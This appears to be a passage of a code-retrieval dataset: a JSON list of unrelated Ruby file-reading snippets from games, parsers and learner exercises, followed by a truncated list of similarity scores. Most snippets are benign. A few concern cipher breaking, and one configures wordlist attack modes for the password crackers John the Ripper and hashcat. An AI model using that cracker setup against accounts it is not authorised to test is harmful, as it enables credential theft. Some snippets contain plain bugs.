@log.debug \"Load all symbols...\"\r\n num_of_symbols = @nomi_simboli.size\r\n num_of_symbols.times do |seed| \r\n card_fname = File.join(folder, \"%02d_#{@nomi_simboli[seed]}.png\" % 1)\r\n #img = FXPNGIcon.new(getApp(), nil, Fox.FXRGB(0, 128, 0), IMAGE_KEEP|IMAGE_ALPHACOLOR )\r\n #FXFileStream.open(card_fname, FXStreamLoad) { |stream| img.loadPixels(stream) }\r\n #img.blend(@color_backround) # molto importante, altrimenti le immagini pgn trasparenti non vengono affatto riprodotte come tali\r\n # invece blend non e' alpha color, basta caricare il ogn trasparente in questo modo\r\n # poi bisogna disegnare la carta usando drawicon\r\n img = FXPNGIcon.new(getApp, nil,\r\n IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n FXFileStream.open(card_fname, FXStreamLoad) { |stream| img.loadPixels(stream) }\r\n #p img\r\n @symbols_card << img\r\n end\r\n \r\n # create cards\r\n create_cards\r\n # store the value of deck to avoid double load\r\n @current_deck_type = folder\r\n rescue\r\n str = \"Errore nel caricare l'immagine delle carte: #{$!}\\n\"\r\n str += \"Mazzo subdir utilizzato: #{folder}\\n\"\r\n str += \"File: #{card_fname}\\n\"\r\n str += \"Controllare l'opzione \\\"deck_name\\\" e che la subdir del mazzo siano corrette\\n\"\r\n @log.error str\r\n log_critical_error str\r\n end\r\n end",
"def lookForXOR(fileName)\n cryptoLines = IO.readlines(fileName)\n \n cryptoLines.each do |c|\n breakXORCipher c.strip\n end\nend",
"def generate_cards\n # no need to assign or return @cards here.\n # switching from .each to .map implictly returns the updated array\n # call the generate_cards during initialize to assign to instance variable\n File.open(@filename).map do |line|\n question = line.split(',')[0]\n answer = line.split(',')[1]\n category = line.split(',')[2].delete(\"\\n\")\n card = Card.new(question, answer, category)\n end\n end",
"def read_input_args(input)\n rows = []\n whites = []\n blacks = []\n counter = 1\n \n # reads the whole file and splits it by newlines, then split each line into its integer part. The result is appended to the rows array\n File.readlines(input).map do |line|\n rows << line.split.map(&:to_i)\n end\n \n n, m, b, w = rows[0]\n \n # add every black dot into the array\n 1.upto(b) do \n x, y = rows[counter]\n blacks << [x, y]\n counter += 1\n end\n \n # add every white dot into the array\n 1.upto(w) do\n x, y = rows[counter]\n whites << [x, y]\n counter += 1\n end\n \n return n, m, blacks, whites\nend",
"def beetle_complete\n puts File.open(\"./pics/beetle_complete.txt\").read\n end",
"def add_plyer_from_array(loaded_file_in_array)\r\n\t\tloaded_file_in_array.each do |name, health|\r\n\t\t\tif health != /^\\d+$/ { health.to_i! }\r\n\t\t\tplayer = Player.new(name,health)\r\n\t\t\tadd_player(player)\r\n\t\tend\r\n\tend\r\n\r\n\tdef load_files_lines_to_array(loaded_file)\r\n\t\tFile.readlines(loaded_file).each do |line|\r\n\t\t\tname, health = line.split(',')\r\n\t\tend\r\n\tend\r\n\r\n#in studio_play.rb change to:\r\nknuckleheads.add_plyer_from_array(load_files_lines_to_array((ARGV.shift || \"players.csv\")))\r\n\r\n# 1. mi a különbség mixin és modle közt?\r\n# 2, hogy állapitod meg hogy hol lett include olva egy egy mixin vagy module\r\n# 3. milyen hibát dob ha csak reader és nem accessor\r\n# 4.\r\n# 5. hogyan teszteled azt hogy valami include olva e van és kacsa e?",
"def compile_encounters(path = \"PBS/encounters.txt\")\r\n GameData::Encounter::DATA.clear\r\n new_format = nil\r\n encounter_hash = nil\r\n step_chances = nil\r\n need_step_chances = false # Not needed for new format only\r\n probabilities = nil # Not needed for new format only\r\n current_type = nil\r\n expected_lines = 0\r\n max_level = GameData::GrowthRate.max_level\r\n pbCompilerEachPreppedLine(path) { |line, line_no|\r\n next if line.length == 0\r\n if expected_lines > 0 && line[/^\\d+,/] && new_format # Species line (new format)\r\n values = line.split(',').collect! { |v| v.strip }\r\n if !values || values.length < 3\r\n raise _INTL(\"Expected a species entry line for encounter type {1} for map '{2}', got \\\"{3}\\\" instead.\\r\\n{4}\",\r\n GameData::EncounterType.get(current_type).real_name, encounter_hash[:map], line, FileLineData.linereport)\r\n end\r\n values = pbGetCsvRecord(line, line_no, [0, \"vevV\", nil, :Species])\r\n values[3] = values[2] if !values[3]\r\n if values[2] > max_level\r\n raise _INTL(\"Level number {1} is not valid (max. {2}).\\r\\n{3}\", values[2], max_level, FileLineData.linereport)\r\n elsif values[3] > max_level\r\n raise _INTL(\"Level number {1} is not valid (max. {2}).\\r\\n{3}\", values[3], max_level, FileLineData.linereport)\r\n elsif values[2] > values[3]\r\n raise _INTL(\"Minimum level is greater than maximum level: {1}\\r\\n{2}\", line, FileLineData.linereport)\r\n end\r\n encounter_hash[:types][current_type].push(values)\r\n elsif expected_lines > 0 && !new_format # Expect a species line and nothing else (old format)\r\n values = line.split(',').collect! { |v| v.strip }\r\n if !values || values.length < 2\r\n raise _INTL(\"Expected a species entry line for encounter type {1} for map '{2}', got \\\"{3}\\\" instead.\\r\\n{4}\",\r\n GameData::EncounterType.get(current_type).real_name, encounter_hash[:map], line, FileLineData.linereport)\r\n end\r\n values = pbGetCsvRecord(line, line_no, [0, \"evV\", :Species])\r\n values[2] = values[1] if !values[2]\r\n if values[1] > max_level\r\n raise _INTL(\"Level number {1} is not valid (max. {2}).\\r\\n{3}\", values[1], max_level, FileLineData.linereport)\r\n elsif values[2] > max_level\r\n raise _INTL(\"Level number {1} is not valid (max. {2}).\\r\\n{3}\", values[2], max_level, FileLineData.linereport)\r\n elsif values[1] > values[2]\r\n raise _INTL(\"Minimum level is greater than maximum level: {1}\\r\\n{2}\", line, FileLineData.linereport)\r\n end\r\n probability = probabilities[probabilities.length - expected_lines]\r\n encounter_hash[:types][current_type].push([probability] + values)\r\n expected_lines -= 1\r\n elsif line[/^\\[\\s*(.+)\\s*\\]$/] # Map ID line (new format)\r\n if new_format == false\r\n raise _INTL(\"Can't mix old and new formats.\\r\\n{1}\", FileLineData.linereport)\r\n end\r\n new_format = true\r\n values = $~[1].split(',').collect! { |v| v.strip.to_i }\r\n values[1] = 0 if !values[1]\r\n map_number = values[0]\r\n map_version = values[1]\r\n # Add map encounter's data to records\r\n if encounter_hash\r\n encounter_hash[:types].each_value do |slots|\r\n next if !slots || slots.length == 0\r\n slots.each_with_index do |slot, i|\r\n next if !slot\r\n slots.each_with_index do |other_slot, j|\r\n next if i == j || !other_slot\r\n next if slot[1] != other_slot[1] || slot[2] != other_slot[2] || slot[3] != other_slot[3]\r\n slot[0] += other_slot[0]\r\n slots[j] = nil\r\n end\r\n end\r\n slots.compact!\r\n slots.sort! { |a, b| (a[0] == b[0]) ? a[1].to_s <=> b[1].to_s : b[0] <=> a[0] }\r\n end\r\n GameData::Encounter.register(encounter_hash)\r\n end\r\n # Raise an error if a map/version combo is used twice\r\n key = sprintf(\"%s_%d\", map_number, map_version).to_sym\r\n if GameData::Encounter::DATA[key]\r\n raise _INTL(\"Encounters for map '{1}' are defined twice.\\r\\n{2}\", map_number, FileLineData.linereport)\r\n end\r\n step_chances = {}\r\n # Construct encounter hash\r\n encounter_hash = {\r\n :id => key,\r\n :map => map_number,\r\n :version => map_version,\r\n :step_chances => step_chances,\r\n :types => {}\r\n }\r\n current_type = nil\r\n need_step_chances = true\r\n expected_lines = 0\r\n elsif line[/^(\\d+)$/] # Map ID line (old format)\r\n if new_format == true\r\n raise _INTL(\"Can't mix old and new formats.\\r\\n{1}\", FileLineData.linereport)\r\n end\r\n new_format = false\r\n map_number = $~[1].to_i\r\n # Add map encounter's data to records\r\n if encounter_hash\r\n encounter_hash[:types].each_value do |slots|\r\n next if !slots || slots.length == 0\r\n slots.each_with_index do |slot, i|\r\n next if !slot\r\n slots.each_with_index do |other_slot, j|\r\n next if i == j || !other_slot\r\n next if slot[1] != other_slot[1] || slot[2] != other_slot[2] || slot[3] != other_slot[3]\r\n slot[0] += other_slot[0]\r\n slots[j] = nil\r\n end\r\n end\r\n slots.compact!\r\n slots.sort! { |a, b| (a[0] == b[0]) ? a[1].to_s <=> b[1].to_s : b[0] <=> a[0] }\r\n end\r\n GameData::Encounter.register(encounter_hash)\r\n end\r\n # Raise an error if a map/version combo is used twice\r\n key = sprintf(\"%s_0\", map_number).to_sym\r\n if GameData::Encounter::DATA[key]\r\n raise _INTL(\"Encounters for map '{1}' are defined twice.\\r\\n{2}\", map_number, FileLineData.linereport)\r\n end\r\n step_chances = {}\r\n # Construct encounter hash\r\n encounter_hash = {\r\n :id => key,\r\n :map => map_number,\r\n :version => 0,\r\n :step_chances => step_chances,\r\n :types => {}\r\n }\r\n current_type = nil\r\n need_step_chances = true\r\n elsif !encounter_hash # File began with something other than a map ID line\r\n raise _INTL(\"Expected a map number, got \\\"{1}\\\" instead.\\r\\n{2}\", line, FileLineData.linereport)\r\n elsif line[/^(\\d+)\\s*,/] && !new_format # Step chances line\r\n if !need_step_chances\r\n raise _INTL(\"Encounter densities are defined twice or\\r\\nnot immediately for map '{1}'.\\r\\n{2}\",\r\n encounter_hash[:map], FileLineData.linereport)\r\n end\r\n need_step_chances = false\r\n values = pbGetCsvRecord(line, line_no, [0, \"vvv\"])\r\n GameData::EncounterType.each do |enc_type|\r\n case enc_type.id\r\n when :land, :contest then step_chances[enc_type.id] = values[0]\r\n when :cave then step_chances[enc_type.id] = values[1]\r\n when :water then step_chances[enc_type.id] = values[2]\r\n end\r\n end\r\n else\r\n # Check if line is an encounter method name or not\r\n values = line.split(',').collect! { |v| v.strip }\r\n current_type = (values[0] && !values[0].empty?) ? values[0].to_sym : nil\r\n if current_type && GameData::EncounterType.exists?(current_type) # Start of a new encounter method\r\n need_step_chances = false\r\n step_chances[current_type] = values[1].to_i if values[1] && !values[1].empty?\r\n step_chances[current_type] ||= GameData::EncounterType.get(current_type).trigger_chance\r\n probabilities = GameData::EncounterType.get(current_type).old_slots\r\n expected_lines = probabilities.length\r\n encounter_hash[:types][current_type] = []\r\n else\r\n raise _INTL(\"Undefined encounter type \\\"{1}\\\" for map '{2}'.\\r\\n{3}\",\r\n line, encounter_hash[:map], FileLineData.linereport)\r\n end\r\n end\r\n }\r\n if expected_lines > 0 && !new_format\r\n raise _INTL(\"Not enough encounter lines given for encounter type {1} for map '{2}' (expected {3}).\\r\\n{4}\",\r\n GameData::EncounterType.get(current_type).real_name, encounter_hash[:map], probabilities.length, FileLineData.linereport)\r\n end\r\n # Add last map's encounter data to records\r\n if encounter_hash\r\n encounter_hash[:types].each_value do |slots|\r\n next if !slots || slots.length == 0\r\n slots.each_with_index do |slot, i|\r\n next if !slot\r\n slots.each_with_index do |other_slot, j|\r\n next if i == j || !other_slot\r\n next if slot[1] != other_slot[1] || slot[2] != other_slot[2] || slot[3] != other_slot[3]\r\n slot[0] += other_slot[0]\r\n slots[j] = nil\r\n end\r\n end\r\n slots.compact!\r\n slots.sort! { |a, b| (a[0] == b[0]) ? a[1].to_s <=> b[1].to_s : b[0] <=> a[0] }\r\n end\r\n GameData::Encounter.register(encounter_hash)\r\n end\r\n # Save all data\r\n GameData::Encounter.save\r\n Graphics.update\r\n end",
"def beetle_bhwlae\n puts File.open(\"./pics/beetle_bhwlae.txt\").read\n end",
"def challenge4(file)\n file.each_line.map(&:chomp).map(&method(:challenge3)).min_by(&Cryptanalysis::Frequency.method(:english_score))\n end",
"def load_comics (path)\n comics = {}\n File.foreach(path) do |line|\n name, url = line.split(': ')\n comics[name] = url.to_s.strip\n end\ncomics\nend",
"def read_file\r\n\t\treturn File.readlines( COLOR_FILE ).map{ |line| line.chomp }\r\n\tend",
"def readList # read the list file and return an array\n array_list = []\n i = 0\n File.open(\"list.txt\").readlines.each do |line|\n array_list[i] = line\n i += 1\n end\n array_list\nend",
"def cow_list\n self.cows.split(' ').map do |cow|\n cow.split('-')[1]\n end.uniq.join(' ')\n end",
"def crack_vigenere file\n answer = \"\"\n words = gets_key_word_from_file file, (find_key_lengths_by_file file)\n words.each.with_index do |word, i|\n answer += \"Attempt: #{i + 1} : #{word} \\n\".red + \"#{v_decode_file 'secretcode.txt', word} \\n\"\n end\n answer\nend",
"def load_hero_file\n clear_message_box\n #ask for file\n @ui.set_colour(DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text('USE CHARACTER FILE?'.ljust(20),1,2)\n @ui.place_text('>'.ljust(20),1,3)\n file_name=nil\n #loop until file is good\n while file_name.nil?\n @ui.place_text(' '*19,2,3)\n file_name = @ui.get_string(2,3)\n #check and try to open file\n if file_name.split('.').last != 'yaml' #needs yaml extention\n @ui.place_text('!REQUIRES YAML EXT'.ljust(20),1,4)\n file_name=nil\n elsif !File.exists?(file_name) #file must exist\n @ui.place_text('!FILE NOT FOUND'.ljust(20),1,4)\n file_name=nil\n else\n hero_data = YAML.load(File.open(file_name))\n if hero_data.is_a? Hash #file must be in a valid yaml format\n #load stats\n hero_data[:stats].each do |stat|\n @stats[stat[0].downcase.to_sym] = stat[1]\n end\n @orig_stats.merge!(@stats) #make a copy\n #load objects\n @objects = hero_data[:objects]\n #load remaining gold (used for final score)\n @gold_count += hero_data[:gold]\n #display heros name\n @ui.place_text(hero_data[:name].center(20), 1, 1, DungeonOfDoom::C_BLACK_ON_WHITE)\n #set magic spell count based on 2 x power of NECRONOMICON and SCROLLS\n book = @objects.find { |object| object[:name]=='NECRONOMICON' }\n if book\n power = book[:power]\n [:super_zap, :santuary, :teleport].each do |spell|\n @spells[spell] = power\n end\n end\n scroll = @objects.find { |object| object[:name]=='SCROLLS' }\n if scroll\n power = scroll[:power]\n [:powersurge, :metamorphosis, :healing].each do |spell|\n @spells[spell] = power\n end\n end\n #set torch power\n torch = @objects.find { |object| object[:name]=='TORCH' }\n @torch_power = torch[:power] if torch\n #find initial potion count\n potion = @objects.find { |object| object[:name]=='POTION' }\n @potions += potion[:count] if potion\n #find initial attack power\n ['2 HAND SWORD','BROADSWORD','SHORTSWORD','AXE','MACE','FLAIL','DAGGER','GAUNTLET'].each do |item|\n object = @objects.find { |object| object[:name]==item }\n @attack += object[:power] if object\n end\n @attack += @stats[:strength]\n #find initial defence power\n ['HEAVY ARMOUR','CHAIN ARMOUR','LEATHER SKINS','HEAVY ROBE','GOLD HELMET','HEADPIECE','SHIELD'].each do |item|\n object = @objects.find { |object| object[:name]==item }\n @defence += object[:power] if object\n end\n else #all okay!\n @ui.place_text('!FILE BAD FORMAT'.ljust(20),1,4)\n file_name=nil\n end\n end\n end\n end",
"def create_interaction_entries\n File.open(file_name('interactions.txt'), 'r').each_line do |line|\n down, up, dist, cont = line.chomp.split(\"\\t\")\n \n Interaction.create(downstream: down, upstream: up, \n distance: dist, contig: cont)\n end\nend",
"def load_workouts(file)\n workout_num = 0\n exercise_num = 0\n workout_list = []\n \n File.foreach(file) { |line| \n if line =~ /^Start Time: (\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}).[0-9]* +|-\\d*$/ then\n workout_num += 1\n exercise_num = -1\n workout_list << Workout.new.start_time=($1)\n elsif line =~ /^\\s*Exercise name: (\\w*\\D+\\s*\\w*) Exercise Type: (\\w+)$/ then\n exercise_num += 1\n exercise = Exercise.new()\n exercise.exercise_name = $1\n exercise.exercise_type = $2\n workout_list[workout_num] << exercise\n end\n }\n \n workout_list #return created workoutlist \n end",
"def clipsFromFilename(wavfile)\n iName = $ldcNames.find_index(wavfile)\n # iBgn and iEnd are 22050-Hz offsets into a.wav.\n iBgn = $offsets[iName]\n iEnd = $offsets[iName+1] - 1\n # iClip* are integer indices of clips.\n # /27562.5 converts 22050 Hz frame offset to 1.25-s-long-clip index\n # (clips are 1.3 s long, but spaced by 1.25 s).\n # The 0.5's give successive filenames an overlap of exactly 1 clip. Close enough.\n # IOW, one wav's last clip = the next wav's first clip.\n # That clip includes both the end of one wav and the start of the next wav.\n # (The temporal boundary between wav's could be reconstructed from durations in Uzbek/LDC2016E66,\n # but because we can't reconstruct where to split a transcription, we can't exploit that info.)\n\n iClipBgn = ($a2b[iBgn] / 27562.5 + 0.5).floor\n iClipEnd = ($a2b[iEnd] / 27562.5 - 0.5).ceil\n return iClipBgn, iClipEnd\nend",
"def parse_file(file_path)\n Cabrillo.parse(IO.read(file_path))\n end",
"def get_word\n\t\tselection = IO.readlines(\"colors.txt\")\n\t\t@word = selection[rand(selection.length)].downcase.chomp\n\t\t@word_array= @word.chars.to_a\n\t\tputs \"Here's the word cheaty, #{@word.upcase}\"\n\tend",
"def get_data_from_file(file)\r\n f = File.open(file, \"r\")\r\n gene = Array.new\r\n f.each_line do |line|\r\n gene << line.delete(\"\\n\") # We remove end of line \\n \r\n end\r\n return gene\r\nend",
"def getTri()\n\t#open file\n\tf=File.open(\"tri.txt\", \"r\")\n\t#init tri array\n\ttri = []\n\t#for each line\n\tf.each_line do |line|\n\t\t#strip end line chars\n\t\tline.strip!\n\t\t#read into array of fixnum\n\t\ttri << line.split(' ').map(&:to_i)\n\tend\n\t#close file\n\tf.close\n\t#return triangle array\n\treturn tri\nend",
"def read_word_file(file)\n\t\tFile.foreach(file) do |line|\n\t\t\tif(@@word.legal?(line.chomp)) # Check if current line/word is legal\n\t\t\t\tLEGAL_WORDS << line.chomp # Add line/word to array of legal words\n\t\t\tend\n end\n LEGAL_WORDS.freeze # Freeze LEGAL_WORDS to make it immutable\n\tend",
"def cards\n # Read the text file by line removing newline characters. Each line is an element in the card_data array.\n card_data = IO.readlines(@filename, chomp: true)\n\n # Split each element by comma. The comma delineates all attributes of each Card attribute. This makes it so each Card object attributes is an array, with each element being a different attribute.\n # Card = [:question, :answer, :category]\n card_data.map! { |card| card.split(',') }\n\n # Take each Card element and set each element into a new Card object to return.\n card_data.map { |card| Card.new(card[0], card[1], card[2].to_sym) }\n end",
"def load_notetags_recipelist_bubs_tocrafting(line)\n return unless line =~ Bubs::Regexp::RECIPEBOOK_OBJ_TAG ? true : false\n match = $~.clone\n id_array = match[2].scan(/\\d+/)\n \n case match[1].upcase\n when \"I\", \"ITEM\", \"OGGETTO\"\n for id in id_array\n @recipe_list.push( $data_items[id.to_i] )\n end\n \n when \"W\", \"WEAPON\", \"WEP\", \"ARMA\"\n for id in id_array\n @recipe_list.push( $data_weapons[id.to_i] )\n end\n \n when \"A\", \"ARMOR\", \"ARMOUR\", \"ARM\", \"ARMATURA\"\n for id in id_array\n @recipe_list.push( $data_armors[id.to_i] )\n end # for\n \n end # case\n end",
"def read_inv x\n File.readlines('inventory.txt')[x]\nend",
"def ParseBoard()\n input = File.open(@INPUTFILE, \"r\")\n @gameboard = [ ]\n @blankSpots = [ ]\n #cycle through all lines in the file\n input.each do |line|\n line.each_char do |c|\n if (1..9).member?(c.to_i)\n @gameboard << c.to_i\n end\n if c == '.'\n @gameboard << 0\n end\n end\n end\n\n # find blank spots\n @gameboard.each_with_index {|value, index|\n if value==0\n @blankSpots << index\n end\n }\n input.close\n @GAMEBOARD = @gameboard\n return @gameboard, @blankSpots\nend",
"def mode_wordlist(file)\n self.increment_length = nil\n self.incremental = nil\n self.max_runtime = nil\n self.mask = nil\n if cracker == 'john'\n self.wordlist = file\n self.rules = 'wordlist'\n elsif cracker == 'hashcat'\n self.wordlist = file\n self.attack = '0'\n end\n end",
"def generate(file)\n begin\n @db.results_as_hash = true\n gamelist = @db.execute %{SELECT * FROM game}\n rescue SQLite3::SQLException => e\n puts \"Table does not exist\"\n puts e\n end\n gamelist.each do |game|\n print game[\"GameID\"], \": \", game[\"Title\"], \"\\n\"\n end\n input = -1\n chosenSonglist = \"\"\n loop do\n # begin\n input = gets.chomp.to_i\n chosenSonglist = @db.execute %{SELECT * FROM game WHERE GameID = ?}, input\n chosenSonglist = chosenSonglist[0]\n # rescue\n # puts \"That's not valid. Try again.\"\n # else\n break\n # end\n end\n puts chosenSonglist[\"Title\"]\n inputtxtfile = \"songlists/\" + chosenSonglist[\"Title\"].gsub(/[.,\\/#!$%\\^&\\*;:{}=\\-_`~()]/,\"\").gsub(/\\s+/, '')\n inputtxtfile = inputtxtfile+\".txt\"\n case file\n when \"csv\"\n begin\n CSV.open(\"songlist.csv\", \"wb\") do |csv|\n File.open(\"#{inputtxtfile}\", \"r\").each do |line|\n filename = line.split(\"|\")[0]\n songname = line.split(\"|\")[2]\n csv << [filename, songname, 0] #INSERT INTO songlist (InGameFileName, Title)\n end\n end\n rescue\n puts \"An error occurred. You've either deleted songlist.txt (don't touch that!) or done something with ...\"\n else\n puts \"done! You now have an empty song list at songlist.csv.\"\n end\n when \"sqlite\"\n begin\n gameID = @db.execute %{ SELECT GameID FROM game WHERE title = \"#{chosenSonglist[\"Title\"]}\" }\n gameID = gameID[0][\"GameID\"].to_i\n File.open(\"#{inputtxtfile}\", \"r\").each do |line|\n puts\n print line\n filename = line.split(\"|\")[0].chomp\n shortname = line.split(\"|\")[1].chomp\n if filename != \"BrawlStage\"\n songname = line.split(\"|\")[2].chomp\n puts \"INSERT INTO songlist (InGameFileName, Title, ShortFileName, GameID) VALUES (?,?,?,?)\", filename,songname,shortname,gameID\n @db.execute \"INSERT INTO songlist (InGameFileName, Title, ShortFileName, GameID) VALUES (?,?,?,?)\", filename,songname,shortname,gameID\n end\n end\n puts \"done! You now have a database at songlist.sqlite.\"\n rescue SQLite3::Exception => e\n puts \"An error occurred.\"\n puts e\n ensure\n @db.close if @db\n end\n end\nend",
"def ReadFromFile()\n wordArray = Array.new\n File.open(\"mastermindWordList.txt\", \"r\") do |file| # Uncomment this to have a larger list (466000+ words)\n # Note: Only use if in original repository that contains words.txt\n # File.open(\"mastermindWordList.txt\", \"r\") do |file| # Comment this if previous line is uncommented\n file.each_line do |word|\n if CheckValidWord(word) == true\n wordArray.push(word.chomp.downcase)\n end\n end\n end\n return wordArray\nend",
"def readCurrentChannels()\n\tFile.readlines('channels.txt').map{ |e| e.chomp.downcase }.uniq\nend",
"def processFile(file)\n lines = IO.readlines(file)\n lines.sort!\n\n shifts = Array.new\n newshift = false\n lines.each{ |line|\n nums = line.scan(/\\d+/)\n nums.map! {|n| n.to_i}\n year, month, day, hour, minute, guard = nums\n if guard \n shifts.push(Shift.new(guard))\n else\n if line =~ /wakes up/\n shifts.last.addWake(minute)\n elsif line =~ /asleep/\n shifts.last.addSleep(minute)\n end\n end \n }\n return shifts\nend",
"def cours_list\n @cours = Haiwet::Cour.list\n @cours.each.with_index(1) do |cour, i|\n puts \"#{i}- #{cour.name}\"\n end\n end",
"def file_load(file)\n\t\tresult = \"\"\n\t\tFile.open(file.to_s, 'r') do |f|\n\t\t\twhile l = f.gets \n\t\t\t\tresult << l\n\t\t\tend\n\t\tend\n\t\tresult\n\tend",
"def input_file(file)\n inputs = []\n t = -1\n i = 0\n f = File.new(file)\n f.each_line do |line|\n if t == -1\n t = line.to_i\n else\n if i < t\n inputs << line\n i += 1\n end\n end\n end\n return inputs\nend",
"def input_file(file)\n inputs = []\n t = -1\n i = 0\n f = File.new(file)\n f.each_line do |line|\n if t == -1\n t = line.to_i\n else\n if i < t\n inputs << line\n i += 1\n end\n end\n end\n return inputs\nend",
"def read(io)\n game_text = ''\n io.each { | line |\n line.chomp!\n case line\n when /\\[(.*)\\]/ # New games starting (if multi-game file)\n when /^\\s*$/\n else\n game_text << ' '\n game_text << line\n end\n }\n game_text\n end",
"def readFormants(file)\n f1, f2 = [], []\n\n fs = []\n\n File.open(file, \"r\") do |f|\n # 9 useless lines\n 9.times { f.gets }\n while !f.eof?\n #Each block starts with the number of formants found\n f.gets\n how_many = f.gets.to_i\n #We are only interested in the first two formants\n f1 = f.gets.to_f\n f.gets\n f2 = f.gets.to_f\n (1+(how_many-2)*2).times { f.gets}\n fs << [f1,f2]\n end\n end\n\n fs\nend",
"def load_lines file\n\n\t\tlines = Array.new\n\t\tlines = @file.split(\"\\n\")\n\n\t\t#fuck that, i dont like the dyanmic feed, just pre-parse it\n\t\tlines.map! do |line| #map overwrites the old array\n\t\t\tif line.include? '#'\n\t\t\t\tsplit = line.split '#'\n\t\t\t\t#puts split.to_s\n\t\t\t\tsplit.shift\n\t\t\telse\n\t\t\t\tline\n\t\t\tend\n\t\tend\n\n\t\t#removing blank lines\n\t\tlines.delete_if do |line|\n\t\t\ttrue if line.empty?\n\t\tend\n\n\t\tlines.each { |line| line.chomp! }\n\n\t\tlines\n\tend",
"def define_word_EDICT(word)\n @edict = 'edict2utf8'\n @word_matches = File.readlines(@edict).grep(/#{word}/)\n\n @best_match = []\n \n @word_matches.each do |x|\n @match = x.split(/[ ()\\[\\];]/)\n \n if @match[0] == word || @match[1] == word || @match[2] == word || @match[3] == word\n @best_match << x\n end\n end\n \n return @best_match\n end",
"def words_file(words)\n File.read(words).lines.select do |l|\n (3..9).cover?(l.strip.size)\n end\n end",
"def load_game(file) \n raise \"I suspect you of cheating.\" if File.mtime(file) != Time.at(File.readlines(file).last.to_i)\nend",
"def parse_file\n File.open(\"FoodDB.txt\", \"r\") do |f|\n f.each_line do |line|\n line.chomp!\n command = line.split(\",\")\n name = command[0]\n type = command[1]\n info = command[2]\n #switches on type\n case type\n when \"b\"\n addFood(name, info)\n when \"r\"\n length = command.length-1\n ingredients = command[2..length]\n addRecipe(name,ingredients)\n end\n end\n end\n end",
"def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end",
"def get_spelling_words(file)\n lines = IO.readlines(file).map(&:chomp)\n review_word = false\n challenge_word = false\n words = []\n lines.each do |line|\n if md=line.match(/\\A(\\d+)\\.\\s+(\\w+)\\Z/)\n (num, word) = md.captures\n words << SpellingWord.new(num, word, review_word, challenge_word)\n elsif line.match(/\\AReview Words/)\n review_word = true\n challenge_word = false\n elsif line.match(/\\AChallenge Words/)\n challenge_word = true\n review_word = false\n end\n end\n words\nend",
"def load(file)\n file.chomp!(\"\\n\")\n component_strings = split_to_strings(file, ';')\n for component_string in component_strings\n load_component(component_string)\n end\n end",
"def generate_list\n if $game_temp.lbchll_last_index >= @challenges.size\n $game_temp.lbchll_last_index = 0\n else\n $game_temp.lbchll_last_index += 1\n end\n return @challenges[$game_temp.lbchll_last_index]\n end",
"def choose_piece\n puts \"choose piece row\"\n row = gets.chomp.to_i\n puts \"choose piece column\"\n col = gets.chomp\n column = (files.index(col).to_i) + 1\n pieces = Piece.all\n pieces.each do |piece|\n if piece.row == row && piece.column == column\n return piece\n end\n end\n end",
"def get_lines raw_file\n lines = raw_file.split(\"\\n\").compact\n lines = lines.uniq.reject{|line| line.empty?}\n lines = lines.reject do |line| \n not LEGAL_CATEGORIES.include? line.split[0]\n end\n end",
"def character(filename, _hue = 0)\n load_image(@character_cache, filename, Characters_Path, @character_data)\n end",
"def discs\n @discs ||= STDIN.read.split(\"\\n\").map{|d| parse_disc(d)}\n @discs.dup.map(&:dup)\nend",
"def filter(file)\n output = ''\n IO.foreach(file) do |line|\n next if line =~ /^\\s*$/ # Skip blank lines\n next if line =~ /^\\s*#/ # Skip comments\n \n dest, via = line.split\n if via =~ /^\\d+\\.\\d+\\.\\d+\\.\\d+$/ && directly_reachable(via)\n output << line\n else\n @facts['interfaces'].split(',').each do |inf|\n if via == inf\n output << line\n end\n end\n end\n end\n \n if !output.empty?\n output.insert(0, \"# Entries from #{file}\\n\")\n end\n output\nend",
"def createBoard file\n\n\tbegin\n\t\tlines = IO.readlines(template)\n\t\n\trescue Exception => e\n\t\tputs e.message\n\t\tputs e.backtrace.inspect\n\tend\t\n\nend",
"def choose_word\n words = File.readlines(\"5desk.txt\")\n words.map! { |word| word.chomp } # Remove newline characters from the file\n words.select! { |word| (word.size >= 5) && (word.size <= 12) }\n words.sample\n end",
"def generateAndPrintConcordance(inputLines)\n # Generate Concordance\n words = Hash.new\n index = 0\n # read each line\n for i in 0...inputLines.size\n # read each sentence\n inputLines[i].to_s.split(/\\.|\\?|\\!/).each do |sentence|\n index +=1\n # read each word\n sentence.split(/\\W|\\s/).each do |word|\n # per output sample requirement only adds words\n if word != \"\"\n # per output sample requirement makes all words lower case\n word=word.downcase\n # add words to a hash table as key\n words[word]=words[word]||[0,[]]\n # add word number of occurrences\n words[word][0]+=1\n # add the sentence number where the word occurs\n words[word][1]<<index\n end\n end\n end\n end\n # per output sample requirement sorts hash table key alphabetically\n words = words.sort_by { |key| key }.to_h\n # Print Concordance\n words.each_pair {|key,v| puts \"#{key}: {#{v[0]}:#{v[1].to_s.delete('[]')}}\"}\nend",
"def get_words(filename)\n graph = Graph.new\n graph = read_file(filename, graph)\n paths = graph.paths\n permutations = permutations(paths)\n wordlist = wordlist('wordlist.txt')\n validwords = real_words(permutations, wordlist)\n puts \"\\nLongest valid word(s): from dictionary\"\n longest_words(validwords, longest_length(validwords))\nend",
"def read_taskwarrior_file(file)\n tasks = []\n open(file).each_line do |l|\n l = l.encode('UTF-8', :invalid => :replace, :undef => :replace, :replace => 'X')\n t = l.scan( /\\w+:\".+?\"/ ).collect{|i| \n k, v = i.split(':', 2)\n [k.to_sym, v.gsub(/\\A\"|\"\\Z/,'')] \n } \n t = Hash[t]\n t[:tags] = t[:tags].strip.split(\",\") if t[:tags]\n t[:entry] = t[:entry].to_i\n t[:end] = t[:end].to_i if t[:end]\n tasks << t\n end if File.file? file\n tasks\n end",
"def make_list\n file = File.new(\"dictionary.txt\")\n dict_list = Array.new\n # add all the words that are the same length as the user's word to an array\n while (line = file.gets)\n if (line.length - 1 == @word1.length)\n dict_list.push line.chomp\n end\n end\n dict_list\n end"
] | [
"0.60776716",
"0.58314663",
"0.5727392",
"0.5727392",
"0.56803805",
"0.55513674",
"0.5522171",
